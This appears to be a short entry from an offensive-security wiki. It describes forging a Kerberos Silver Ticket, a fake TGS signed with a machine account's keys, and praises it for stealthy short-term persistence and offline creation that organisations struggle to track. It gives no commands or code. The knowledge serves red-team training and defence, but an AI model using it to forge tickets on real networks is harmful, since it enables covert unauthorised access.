# Forge Silver Ticket

A Silver Ticket is a forged TGS, signed using the secret keys of a machine account. This can be useful for short-term persistence and is considered stealthy. The large benefit of creating a silver ticket is that we can create it offline, meaning that it can be very hard for an organization to track when one is created.&#x20;
